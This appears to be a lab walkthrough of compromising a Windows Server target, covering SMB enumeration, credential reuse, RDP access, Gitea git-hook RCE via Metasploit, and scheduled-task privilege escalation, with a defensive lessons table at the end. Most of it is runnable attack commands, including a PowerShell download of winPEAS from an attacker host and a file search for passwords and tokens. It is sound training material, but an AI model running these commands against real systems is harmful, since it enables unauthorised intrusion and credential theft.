Skip to content

Windows Target Exploitation

Executive Summary

Windows target exploitation commonly focuses on corporate services such as SMB, RDP, WinRM, development platforms, and Active Directory-connected applications.

In this case, the Windows target exposed several important services:

  • SMB on ports 139 and 445
  • RDP on port 3389
  • SSH on port 22
  • Gitea on port 3000
  • MSRPC on port 135

Initial access was achieved through credential reuse. Credentials recovered from a Linux target were valid against Windows services, allowing access to SMB, RDP, and Gitea. After access was gained, enumeration revealed a high-probability privilege escalation path through a scheduled task running a writable PowerShell script as Administrator.

1. Windows Information Gathering

Windows reconnaissance focuses on identifying exposed management services, file-sharing services, and internal development tools.

High-value Windows services include:

Service Port Why It Matters
SMB 139 / 445 File shares, authentication, user enumeration, relay attacks.
MSRPC 135 Remote procedure calls and Windows service discovery.
RDP 3389 Remote desktop access and interactive sessions.
WinRM 5985 / 5986 Remote PowerShell management.
SSH 22 Remote shell access on newer Windows servers.
Web apps 80 / 443 / custom Internal apps, Git services, dashboards, and admin panels.

2. Initial Service Discovery with Nmap

A full port scan revealed a mix of standard Windows services and a custom development service.

Example Full Port Scan

sudo nmap -p- --min-rate 5000 -oN full-port-scan.txt <target-ip>

Example Service Scan

sudo nmap -sC -sV -p 22,135,139,445,3000,3389 -oN service-scan.txt <target-ip>

Findings

Port Service Version / Detail
22 SSH OpenSSH for Windows 9.5
135 MSRPC Microsoft Windows RPC
139 / 445 SMB Windows Server 2019 Standard
3000 HTTP Gitea 1.12.4
3389 RDP Microsoft Terminal Services

Important SMB Finding

Nmap flagged that SMB message signing was disabled or not required.

This is dangerous because SMB signing protects against tampering and helps prevent SMB relay attacks.

3. SMB Enumeration

SMB is one of the most important Windows enumeration targets because it may reveal:

  • Shares
  • Usernames
  • Hostname and domain information
  • Guest or null-session access
  • Writable directories
  • Sensitive files
  • Password reuse opportunities

Basic CrackMapExec Check

crackmapexec smb <target-ip>

Example finding:

SMBv1: True

Why SMBv1 Is Dangerous

SMBv1 is a legacy protocol that should be disabled. It is associated with major historical vulnerabilities such as MS17-010 / EternalBlue and usually indicates weak legacy compatibility requirements.

Null Session Test

crackmapexec smb <target-ip> -u '' -p ''

Possible outcomes:

Result Meaning
Authentication succeeds Null or guest-style access may be possible.
Share listing works Sensitive file exposure risk.
User enumeration denied Authentication worked, but permissions are restricted.
Access denied Null session likely blocked.

4. Gitea Enumeration

Gitea is a self-hosted Git service. It may contain internal repositories, scripts, deployment notes, credentials, and source code.

Target Finding

Item Value
Service Gitea
Port 3000
Version 1.12.4
Language runtime Go 1.14.8

Why Gitea Matters

Internal Git services are high-value because they may expose:

  • Application source code
  • Deployment scripts
  • Hardcoded credentials
  • SSH keys
  • API tokens
  • Internal hostnames
  • CI/CD configuration
  • Privileged automation logic

5. Credential Reuse from Linux Target

Credentials recovered from the Linux target were reused against the Windows host.

Recovered credentials:

john:SuperSecurePass123

This is a critical example of why password reuse across systems is dangerous. A compromise on one machine can become access to another.

6. SMB Access with Valid Credentials

After recovering credentials, test them against SMB.

crackmapexec smb <target-ip> -u "john" -p 'SuperSecurePass123'

Share Enumeration

crackmapexec smb <target-ip> -u "john" -p 'SuperSecurePass123' --shares

Spidering a Share

The Devs share was spidered to search for files.

crackmapexec smb <target-ip> -u "john" -p 'SuperSecurePass123' --spider Devs --pattern .

Finding

A file named tmp.ps1 was discovered.

The file contained hardcoded credentials for john, confirming that the account was used in development or administrative workflows.

7. RDP Credential Verification

Before exploiting a web application, verify whether recovered credentials provide stable remote access.

Hydra RDP Test

hydra -l john -p "SuperSecurePass123" rdp://<target-ip>

Result

The credentials were valid for RDP.

This provides a reliable GUI-based session for manual exploration, file review, and post-exploitation.

8. Establishing RDP Access

Use xfreerdp to connect to the Windows desktop.

xfreerdp /u:john /p:"SuperSecurePass123" /v:<target-ip> /w:1366 /h:768

Why RDP Is Valuable

RDP provides:

  • Stable interactive access
  • GUI access to internal tools
  • Easier file browsing
  • Access to browser sessions
  • Access to desktop artifacts
  • Easier review of scheduled tasks, services, and logs

9. Gitea Exploitation

The Gitea instance was version 1.12.4, which is vulnerable to remote code execution through Git hooks when dangerous configuration is enabled.

Vulnerability Concept

Gitea versions before safer defaults allowed Git hooks to be abused if the application permitted hook modification.

The attack flow:

  1. Authenticate to Gitea as a valid user.
  2. Create or access a repository.
  3. Add a malicious post-receive Git hook.
  4. Push or modify content.
  5. Trigger the hook.
  6. Execute the payload on the server.

Metasploit Module

exploit/multi/http/gitea_git_hooks_rce

Example Metasploit Flow

msfconsole
use exploit/multi/http/gitea_git_hooks_rce
set RHOSTS <target-ip>
set RPORT 3000
set USERNAME john
set PASSWORD SuperSecurePass123
run

Result

A Meterpreter session was opened on the Windows target.

10. Initial Access Summary

This target provided multiple access paths.

Vector Requirement Result
SMB access Reused john credentials Access to internal share data.
RDP access Reused john credentials Stable GUI session.
Gitea RCE Valid Gitea credentials Meterpreter session.

Strongest Access Path

The best operational access path was RDP as john, because it provided a stable desktop session and allowed easier manual enumeration.

The Gitea exploit provided code execution and a post-exploitation foothold.

11. Windows Post-Access Enumeration

After gaining access, begin with identity, privilege, system, network, and service checks.

Identity Checks

whoami
whoami /user
whoami /groups
whoami /priv
hostname

System Information

systeminfo
ver
wmic os get Caption,Version,BuildNumber,OSArchitecture

Network Information

ipconfig /all
route print
arp -a
netstat -ano

PowerShell alternatives:

Get-NetIPAddress
Get-NetRoute
Get-NetNeighbor
Get-NetTCPConnection

Local Users and Groups

net user
net localgroup
net localgroup Administrators
net localgroup "Remote Desktop Users"

PowerShell alternatives:

Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember Administrators

12. Privilege Analysis

Privilege analysis is essential for finding escalation paths.

whoami /priv

whoami /priv

Important finding:

SeImpersonatePrivilege

Why SeImpersonatePrivilege Matters

SeImpersonatePrivilege allows a process to impersonate a client after authentication.

This privilege is commonly abused in Windows privilege escalation techniques, especially when combined with service abuse or coercion techniques.

Examples of related tooling include:

  • JuicyPotato
  • RoguePotato
  • PrintSpoofer
  • GodPotato

Whether these work depends on OS version, patch level, service availability, and local restrictions.

Group Membership

whoami /groups

Important groups found:

Group Impact
Remote Desktop Users Confirms RDP access.
Event Log Readers Allows reading logs that may reveal sensitive information.
High Mandatory Level Indicates elevated integrity context.

13. Automated Enumeration with WinPEAS

WinPEAS automates many Windows privilege escalation checks.

Transfer WinPEAS

From attacker machine:

python3 -m http.server 8000

From Windows target PowerShell:

Invoke-WebRequest -Uri "http://<attacker-ip>:8000/winPEASx64.exe" -OutFile "C:\ProgramData\winPEASx64.exe"

Run:

C:\ProgramData\winPEASx64.exe

WinPEAS Findings

Finding Impact
C:\ProgramData writable Useful for staging files and possible privilege escalation.
Domain joined to HTBLAB Indicates potential Active Directory environment.
Local-only ports 8001 and 8003 Possible internal services or management APIs.
Scheduled task running as Administrator High-value privilege escalation path.

14. Writable C:\ProgramData

C:\ProgramData is commonly used by applications to store shared data. It is normal for some subdirectories to be writable, but broad write permissions can be dangerous.

Check Permissions

icacls C:\ProgramData

PowerShell:

Get-Acl C:\ProgramData | Format-List

Why This Matters

If a privileged service or scheduled task runs scripts from a writable path, a standard user may be able to replace or modify those scripts and gain elevated code execution.

15. Scheduled Task Enumeration

Scheduled tasks are a common Windows persistence and privilege escalation mechanism.

Query Scheduled Tasks

schtasks /query /v /fo list

Filter for interesting tasks:

schtasks /query /v /fo list | findstr /i "TaskName Task To Run Run As"

PowerShell:

Get-ScheduledTask

Critical Finding

Field Value
Task Name \CorpBackupAgent
Author Administrator
Task To Run powershell.exe -File C:\ProgramData\CorpBackup\Scripts\backupprep.ps1
Run As User Administrator
Frequency Every 2 minutes

Why This Is Vulnerable

The task runs a PowerShell script from inside C:\ProgramData.

If john can modify:

C:\ProgramData\CorpBackup\Scripts\backupprep.ps1

then the next scheduled task run may execute attacker-controlled code as Administrator.

16. Validating the Scheduled Task Escalation Path

Before modifying anything, verify permissions on the script and parent directories.

icacls C:\ProgramData\CorpBackup
icacls C:\ProgramData\CorpBackup\Scripts
icacls C:\ProgramData\CorpBackup\Scripts\backupprep.ps1

Look for permissions such as:

BUILTIN\Users:(F)
BUILTIN\Users:(M)
john:(F)
john:(M)
Everyone:(F)
Everyone:(M)

Where:

Permission Meaning
F Full Control
M Modify
W Write
RX Read and Execute

Safe Proof of Concept

A safe validation is to append a harmless command that writes the current user to a file.

Add-Content -Path "C:\ProgramData\CorpBackup\Scripts\backupprep.ps1" -Value 'whoami > C:\ProgramData\whoami-task.txt'

Wait for the task to run, then check:

type C:\ProgramData\whoami-task.txt

Expected result:

win01\administrator

This proves privilege escalation without deploying a shell or destructive payload.

17. Post-Exploitation Checklist

Identity and Privileges

whoami
whoami /priv
whoami /groups

System and Patch Level

systeminfo
wmic qfe list brief

Network

ipconfig /all
netstat -ano
route print

Users and Groups

net user
net localgroup
net localgroup Administrators

Shares

net share
net use

Services

sc query
wmic service list brief

Scheduled Tasks

schtasks /query /v /fo list

Interesting Files

dir C:\Users\ /a
dir C:\ProgramData\ /a
dir C:\ /a

PowerShell search examples:

Get-ChildItem -Path C:\Users -Recurse -File -ErrorAction SilentlyContinue | Select-String -Pattern "password","secret","token"

18. Example Attack Chain

A clean attack chain for this Windows target would be:

  1. Run full Nmap scan.
  2. Identify SMB, RDP, SSH, and Gitea.
  3. Confirm SMBv1 enabled and SMB signing not required.
  4. Test null session and guest access.
  5. Reuse credentials recovered from the Linux target.
  6. Enumerate SMB shares with CrackMapExec.
  7. Spider the Devs share.
  8. Find tmp.ps1 and confirm hardcoded credentials.
  9. Verify RDP access with Hydra.
  10. Connect with xfreerdp.
  11. Exploit Gitea Git hooks RCE using valid credentials.
  12. Run local enumeration.
  13. Identify SeImpersonatePrivilege.
  14. Run WinPEAS.
  15. Discover writable C:\ProgramData.
  16. Discover CorpBackupAgent scheduled task running as Administrator.
  17. Validate whether backupprep.ps1 is writable.
  18. Prove elevated execution safely by writing whoami output to a file.

19. Defensive Lessons

Weakness Defensive Fix
Password reused from Linux to Windows Enforce unique credentials and rotate exposed passwords.
SMBv1 enabled Disable SMBv1 across the environment.
SMB signing not required Require SMB signing where possible.
Sensitive script in SMB share Restrict share permissions and remove hardcoded credentials.
Gitea outdated Patch Gitea and disable unsafe Git hooks.
RDP exposed Restrict RDP with VPN, MFA, firewall rules, and least privilege.
C:\ProgramData overly writable Apply least-privilege NTFS permissions.
Scheduled task runs writable script as Administrator Store privileged task scripts in protected paths.
Hardcoded credentials in scripts Use managed secrets, service accounts, or secure vaults.

20. Quick Reference

Task Command
Full port scan sudo nmap -p- --min-rate 5000 <target-ip>
Service scan sudo nmap -sC -sV -p <ports> <target-ip>
Basic SMB check crackmapexec smb <target-ip>
Null session test crackmapexec smb <target-ip> -u '' -p ''
SMB with creds crackmapexec smb <target-ip> -u john -p 'SuperSecurePass123'
List shares crackmapexec smb <target-ip> -u john -p 'SuperSecurePass123' --shares
Spider share crackmapexec smb <target-ip> -u john -p 'SuperSecurePass123' --spider Devs --pattern .
Test RDP creds hydra -l john -p "SuperSecurePass123" rdp://<target-ip>
RDP login xfreerdp /u:john /p:"SuperSecurePass123" /v:<target-ip>
User privileges whoami /priv
User groups whoami /groups
Scheduled tasks schtasks /query /v /fo list
File permissions icacls <path>
Services sc query
Network connections netstat -ano
PowerShell download Invoke-WebRequest -Uri <url> -OutFile <path>

Key Takeaways

  • Windows targets often expose high-value management services such as SMB and RDP.
  • SMBv1 and unsigned SMB are major security weaknesses.
  • Credentials recovered from one machine should always be tested carefully against other authorized targets.
  • Gitea and other internal development platforms can become initial access paths when outdated or misconfigured.
  • RDP provides stable access and is useful for manual enumeration.
  • SeImpersonatePrivilege is a major escalation clue.
  • Scheduled tasks running privileged scripts from writable directories are high-probability privilege escalation paths.
  • Always verify write permissions before attempting scheduled task hijacking.